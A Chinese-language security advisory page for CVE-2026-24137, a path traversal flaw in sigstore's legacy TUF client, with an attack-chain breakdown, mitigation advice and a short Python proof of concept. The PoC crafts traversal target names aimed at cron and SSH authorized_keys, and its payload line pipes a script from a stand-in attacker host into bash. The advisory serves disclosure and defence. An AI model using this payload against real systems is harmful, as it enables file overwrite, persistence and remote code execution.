IPBUF安全漏洞报告
English
CVE-2026-24137 CVSS 5.8 中危

CVE-2026-24137: sigstore TUF客户端路径遍历漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-24137
漏洞类型
路径遍历
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
sigstore/sigstore, sigstore framework, Cosign

相关标签

路径遍历文件覆盖sigstoreTUFCosignGo语言漏洞CVE-2026-24137

漏洞概述

CVE-2026-24137是sigstore framework中一个中等严重性的路径遍历漏洞。该漏洞存在于sigstore/sigstore的legacy TUF客户端中(pkg/tuf/client.go),影响版本1.10.3及以下。攻击者可以通过构造恶意的TUF仓库,利用该漏洞在目标系统上覆盖任意文件。由于TUF客户端在缓存target文件时,未能正确验证文件路径是否位于指定的缓存目录内,攻击者可以利用符号链接或包含"../"的特殊文件名实现目录遍历,从而在进程权限范围内覆盖系统上的敏感文件。此漏洞主要影响直接使用TUF客户端或使用旧版本Cosign的用户。公开的Sigstore部署用户因TUF元数据由可信协作者验证而不受影响。

技术细节

该漏洞的根本原因在于sigstore/sigstore的pkg/tuf/client.go文件中,legacy TUF客户端在缓存target文件时存在路径验证缺陷。具体来说,代码通过拼接缓存基础目录和来自签名target元数据的目标名称来构造本地文件路径,但未使用realpath或类似机制验证最终路径是否位于缓存目录内。攻击者可以创建一个恶意的TUF仓库,在target元数据中指定类似"../../../../etc/cron.d/malicious"的文件名,当客户端尝试缓存该target时,会将文件写入到缓存目录之外的位置。由于TUF元数据是经过签名验证的,客户端会信任这些元数据,但签名验证无法防止路径遍历攻击。攻击者需要能够控制TUF仓库或中间人攻击TUF更新过程,且需要目标系统上运行着使用legacy TUF客户端的进程。成功利用可导致任意文件覆盖,可能用于权限提升或持久化攻击。

攻击链分析

STEP 1
步骤1
攻击者创建恶意TUF仓库,在target元数据中嵌入包含路径遍历序列(如../../../)的目标文件名
STEP 2
步骤2
目标用户或系统通过legacy TUF客户端连接到该恶意仓库进行软件更新或验证
STEP 3
步骤3
TUF客户端下载并解析恶意元数据,获取包含路径遍历的目标文件名
STEP 4
步骤4
客户端构造缓存路径时直接拼接基础目录和目标名称,未进行路径规范化验证
STEP 5
步骤5
恶意target文件被写入缓存目录之外的任意位置,实现任意文件覆盖
STEP 6
步骤6
攻击者可利用文件覆盖实现权限提升、持久化控制或远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24137 PoC - Malicious TUF Repository Setup # This PoC demonstrates how a malicious TUF repository can trigger arbitrary file overwrite import json import os def create_malicious_tuf_metadata(): """ Create malicious TUF metadata with path traversal target names """ malicious_targets = { "../../../../etc/cron.d/sigstore_backdoor": { "hashes": { "sha256": "deadbeef" * 8 }, "length": 100, "custom": {} }, "../../.ssh/authorized_keys": { "hashes": { "sha256": "cafebabe" * 8 }, "length": 200, "custom": {} } } metadata = { "signed": { "targets": malicious_targets, "version": 1, "expires": "2027-01-01T00:00:00Z" } } return metadata def generate_malicious_target_file(): """ Generate malicious content to be written to target file """ return b"#!/bin/bash\ncurl http://attacker.com/shell.sh | bash\n" # Usage: # 1. Set up a malicious TUF repository with path traversal target names # 2. Point sigstore client to use this repository # 3. Trigger target download/verification # 4. Files will be written outside cache directory print("CVE-2026-24137 - sigstore TUF Path Traversal PoC") print("Target: sigstore/sigstore <= 1.10.3") print("Attack: Arbitrary file overwrite via path traversal")

影响范围

sigstore/sigstore < 1.10.4
sigstore/sigstore <= 1.10.3
Cosign (旧版本,使用legacy TUF客户端)

防御指南

临时缓解措施
设置环境变量SIGSTORE_NO_CACHE=true禁用磁盘缓存功能;或迁移到新的sigstore-go项目(https://github.com/sigstore/sigstore-go/tree/main/pkg/tuf);或升级到最新的sigstore/sigstore版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表